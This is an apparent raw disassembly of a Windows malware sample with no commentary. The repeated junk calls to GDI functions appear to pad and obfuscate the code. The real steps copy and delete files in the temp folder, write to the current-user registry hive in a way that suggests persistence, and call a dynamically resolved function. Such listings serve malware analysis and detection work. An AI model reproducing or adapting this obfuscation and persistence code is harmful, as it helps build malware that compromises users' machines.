push 0x89068014
call sub.gdi32.dll_GetPolyFillMode
imul ecx, ebx
lea edx, [eax + eax]
xor ecx, edx
add ecx, eax
push 0xa
pop ecx
push 0x7af75b21
call sub.gdi32.dll_GetDCBrushColor
test eax, 0x28
jne 0x48dbfa
xor ebx, eax
push edx
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
mov eax, dword [ebp - 0x2d4]
mov edx, 0x48e4b4
call fcn.004051b0
jne 0x48e300
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push 0x89068014
call sub.gdi32.dll_GetPolyFillMode
imul ecx, ebx
lea edx, [eax + eax]
xor ecx, edx
add ecx, eax
push 0xa
pop ecx
push 0x7af75b21
call sub.gdi32.dll_GetDCBrushColor
test eax, 0x28
jne 0x48dc5a
xor ebx, eax
push edx
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
mov eax, 0x105
call fcn.00402ce4
mov ebx, eax
push ebx
push 0x105
call sub.kernel32.dll_GetTempPathA
lea eax, [ebp - 0x1184]
mov edx, ebx
call fcn.00404f98
mov edx, dword [ebp - 0x1184]
lea eax, [ebp - 0x2c8]
mov ecx, 0x48e544
call fcn.004050b0
push 0x89068014
call sub.gdi32.dll_GetPolyFillMode
imul ecx, ebx
lea edx, [eax + eax]
xor ecx, edx
add ecx, eax
push 0xa
pop ecx
push 0x7af75b21
call sub.gdi32.dll_GetDCBrushColor
test eax, 0x28
jne 0x48dcd2
xor ebx, eax
push edx
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
push 0
mov eax, dword [ebp - 0x2c8]
call fcn.00405264
push eax
lea edx, [ebp - 0x1188]
xor eax, eax
call fcn.004030dc
mov eax, dword [ebp - 0x1188]
call fcn.00405264
push eax
call sub.kernel32.dll_CopyFileA
push 0x89068014
call sub.gdi32.dll_GetPolyFillMode
imul ecx, ebx
lea edx, [eax + eax]
xor ecx, edx
add ecx, eax
push 0xa
pop ecx
push 0x7af75b21
call sub.gdi32.dll_GetDCBrushColor
test eax, 0x28
jne 0x48dd3c
xor ebx, eax
push edx
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
lea edx, [ebp - 0x1190]
mov eax, 0x1c
call fcn.0048c8c4
push dword [ebp - 0x1190]
push 0x48e558
push dword [ebp - 0x33c]
lea eax, [ebp - 0x118c]
mov edx, 3
call fcn.00405124
mov eax, dword [ebp - 0x118c]
call fcn.00405264
mov edx, eax
lea eax, [ebp - 0x2c0]
call fcn.00404f98
push 0x89068014
call sub.gdi32.dll_GetPolyFillMode
imul ecx, ebx
lea edx, [eax + eax]
xor ecx, edx
add ecx, eax
push 0xa
pop ecx
push 0x7af75b21
call sub.gdi32.dll_GetDCBrushColor
test eax, 0x28
jne 0x48ddc3
xor ebx, eax
push edx
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
lea edx, [ebp - 0x1198]
mov eax, 0x1c
call fcn.0048c8c4
push dword [ebp - 0x1198]
push 0x48e558
push dword [ebp - 0x340]
lea eax, [ebp - 0x1194]
mov edx, 3
call fcn.00405124
mov eax, dword [ebp - 0x1194]
call fcn.00405264
mov edx, eax
lea eax, [ebp - 0x328]
call fcn.00404f98
push 0x89068014
call sub.gdi32.dll_GetPolyFillMode
imul ecx, ebx
lea edx, [eax + eax]
xor ecx, edx
add ecx, eax
push 0xa
pop ecx
push 0x7af75b21
call sub.gdi32.dll_GetDCBrushColor
test eax, 0x28
jne 0x48de4a
xor ebx, eax
push edx
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
mov eax, dword [ebp - 0x2c0]
call fcn.00405264
push eax
call sub.kernel32.dll_DeleteFileA
push 0x89068014
call sub.gdi32.dll_GetPolyFillMode
imul ecx, ebx
lea edx, [eax + eax]
xor ecx, edx
add ecx, eax
push 0xa
pop ecx
push 0x7af75b21
call sub.gdi32.dll_GetDCBrushColor
test eax, 0x28
jne 0x48de99
xor ebx, eax
push edx
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
mov eax, dword [ebp - 0x328]
call fcn.00405264
push eax
call sub.kernel32.dll_DeleteFileA
push 0x89068014
call sub.gdi32.dll_GetPolyFillMode
imul ecx, ebx
lea edx, [eax + eax]
xor ecx, edx
add ecx, eax
push 0xa
pop ecx
push 0x7af75b21
call sub.gdi32.dll_GetDCBrushColor
test eax, 0x28
jne 0x48dee8
xor ebx, eax
push edx
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
mov eax, dword [ebp - 0x2c0]
call fcn.00409318
test al, al
je 0x48e02c
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push 0x89068014
call sub.gdi32.dll_GetPolyFillMode
imul ecx, ebx
lea edx, [eax + eax]
xor ecx, edx
add ecx, eax
push 0xa
pop ecx
push 0x7af75b21
call sub.gdi32.dll_GetDCBrushColor
test eax, 0x28
jne 0x48df44
xor ebx, eax
push edx
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
push 0
lea edx, [ebp - 0x11a0]
mov eax, 0x1c
call fcn.0048c8c4
push dword [ebp - 0x11a0]
push 0x48e558
push dword [ebp - 0x340]
lea eax, [ebp - 0x119c]
mov edx, 3
call fcn.00405124
mov eax, dword [ebp - 0x119c]
call fcn.00405264
push eax
lea edx, [ebp - 0x11a4]
xor eax, eax
call fcn.004030dc
mov eax, dword [ebp - 0x11a4]
call fcn.00405264
push eax
call sub.kernel32.dll_CopyFileA
push 0x89068014
call sub.gdi32.dll_GetPolyFillMode
imul ecx, ebx
lea edx, [eax + eax]
xor ecx, edx
add ecx, eax
push 0xa
pop ecx
push 0x7af75b21
call sub.gdi32.dll_GetDCBrushColor
test eax, 0x28
jne 0x48dfdf
xor ebx, eax
push edx
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
mov eax, dword [ebp - 0x328]
push eax
mov eax, dword [ebp - 0x344]
call fcn.00405264
mov edx, eax
lea eax, [ebp - 0x11a8]
call fcn.00404f98
mov ecx, dword [ebp - 0x11a8]
mov edx, 0x48e56c
mov eax, 0x80000001
call fcn.0048be70
jmp 0x48e146
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push 0x89068014
call sub.gdi32.dll_GetPolyFillMode
imul ecx, ebx
lea edx, [eax + eax]
xor ecx, edx
add ecx, eax
push 0xa
pop ecx
push 0x7af75b21
call sub.gdi32.dll_GetDCBrushColor
test eax, 0x28
jne 0x48e063
xor ebx, eax
push edx
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
push 0
lea edx, [ebp - 0x11b0]
mov eax, 0x1c
call fcn.0048c8c4
push dword [ebp - 0x11b0]
push 0x48e558
push dword [ebp - 0x33c]
lea eax, [ebp - 0x11ac]
mov edx, 3
call fcn.00405124
mov eax, dword [ebp - 0x11ac]
call fcn.00405264
push eax
lea edx, [ebp - 0x11b4]
xor eax, eax
call fcn.004030dc
mov eax, dword [ebp - 0x11b4]
call fcn.00405264
push eax
call sub.kernel32.dll_CopyFileA
push 0x89068014
call sub.gdi32.dll_GetPolyFillMode
imul ecx, ebx
lea edx, [eax + eax]
xor ecx, edx
add ecx, eax
push 0xa
pop ecx
push 0x7af75b21
call sub.gdi32.dll_GetDCBrushColor
test eax, 0x28
jne 0x48e0fe
xor ebx, eax
push edx
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
mov eax, dword [ebp - 0x2c0]
push eax
mov eax, dword [ebp - 0x344]
call fcn.00405264
mov edx, eax
lea eax, [ebp - 0x11b8]
call fcn.00404f98
mov ecx, dword [ebp - 0x11b8]
mov edx, 0x48e56c
mov eax, 0x80000001
call fcn.0048be70
mov eax, dword [ebp - 0x2cc]
mov edx, 0x48e4b4
call fcn.004051b0
jne 0x48e300
nop
nop
nop
nop
nop
nop
push 0x89068014
call sub.gdi32.dll_GetPolyFillMode
imul ecx, ebx
lea edx, [eax + eax]
xor ecx, edx
add ecx, eax
push 0xa
pop ecx
push 0x7af75b21
call sub.gdi32.dll_GetDCBrushColor
test eax, 0x28
jne 0x48e18c
xor ebx, eax
push edx
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
mov eax, dword [ebp - 0x2ec]
call fcn.00408ec4
mov edx, eax
lea ecx, [ebp - 0x2c4]
mov eax, dword [ebp - 0x32c]
call fcn.0048c5c0
push 0x89068014
call sub.gdi32.dll_GetPolyFillMode
imul ecx, ebx
lea edx, [eax + eax]
xor ecx, edx
add ecx, eax
push 0xa
pop ecx
push 0x7af75b21
call sub.gdi32.dll_GetDCBrushColor
test eax, 0x28
jne 0x48e1e8
xor ebx, eax
push edx
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
mov eax, dword [ebp - 0x2ec]
call fcn.00408ec4
mov edx, eax
lea ecx, [ebp - 0x304]
mov eax, dword [ebp - 0x300]
call fcn.0048c5c0
push 0x89068014
call sub.gdi32.dll_GetPolyFillMode
imul ecx, ebx
lea edx, [eax + eax]
xor ecx, edx
add ecx, eax
push 0xa
pop ecx
push 0x7af75b21
call sub.gdi32.dll_GetDCBrushColor
test eax, 0x28
jne 0x48e244
xor ebx, eax
push edx
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
mov eax, dword [ebp - 0x304]
test eax, eax
je 0x48e267
sub eax, 4
mov eax, dword [eax]
lea edx, [ebp - 0xf84]
mov ecx, dword [ebp - 0x304]
xchg ecx, eax
call fcn.00402ee0
push 0x89068014
call sub.gdi32.dll_GetPolyFillMode
imul ecx, ebx
lea edx, [eax + eax]
xor ecx, edx
add ecx, eax
push 0xa
pop ecx
push 0x7af75b21
call sub.gdi32.dll_GetDCBrushColor
test eax, 0x28
jne 0x48e2a3
xor ebx, eax
push edx
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
lea ebx, [ebp - 0xf84]
call fcn.0048c924
test al, al
je 0x48e2e5
nop
nop
nop
nop
nop
lea eax, [ebp - 0x2c4]
call fcn.004052bc
push eax
push 0x48e4b8
push 0x48e4bc
call ebx
jmp 0x48e300
nop
nop
nop
lea eax, [ebp - 0x2c4]
call fcn.004052bc
push eax
push 0x48e4b8
push 0x48e59c
call ebx
push 0x89068014
call sub.gdi32.dll_GetPolyFillMode
imul ecx, ebx
lea edx, [eax + eax]
xor ecx, edx
add ecx, eax
push 0xa
pop ecx
push 0x7af75b21
call sub.gdi32.dll_GetDCBrushColor
test eax, 0x28
jne 0x48e32a
xor ebx, eax
push edx
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
mov eax, dword [ebp - 0x320]
mov edx, 0x48e4b4
call fcn.004051b0
jne 0x48e3ba
nop
nop
nop
nop
nop
nop
nop
nop
nop
push 0x89068014
call sub.gdi32.dll_GetPolyFillMode
imul ecx, ebx
lea edx, [eax + eax]
xor ecx, edx
add ecx, eax
push 0xa
pop ecx
push 0x7af75b21
call sub.gdi32.dll_GetDCBrushColor
test eax, 0x28
jne 0x48e383
xor ebx, eax
push edx
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
lea edx, [ebp - 0x11c0]
xor eax, eax
call fcn.004030dc
mov edx, dword [ebp - 0x11c0]
lea ecx, [ebp - 0x11bc]
mov eax, 0x48e5d4
call fcn.0048c034
push 0x89068014
call sub.gdi32.dll_GetPolyFillMode
imul ecx, ebx
lea edx, [eax + eax]
xor ecx, edx
add ecx, eax
push 0xa
pop ecx
push 0x7af75b21
call sub.gdi32.dll_GetDCBrushColor
test eax, 0x28
jne 0x48e3e4
xor ebx, eax
push edx
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
mov eax, dword [ebp - 0x308]
mov edx, 0x48e4b4
call fcn.004051b0
jne 0x48e41a
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
call fcn.00464bac
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x48e483
lea eax, [ebp - 0x11c0]
mov edx, 0x11
call fcn.00404dc4
lea eax, [ebp - 0x117c]
call fcn.00405580
lea eax, [ebp - 0x1178]
mov edx, 0xa
call fcn.00404dc4
lea eax, [ebp - 0x354]
mov edx, dword [0x48a9a4]
call fcn.00405e64
lea eax, [ebp - 0x350]
mov edx, 0x25
call fcn.00404dc4
lea eax, [ebp - 4]
call fcn.00404da0
ret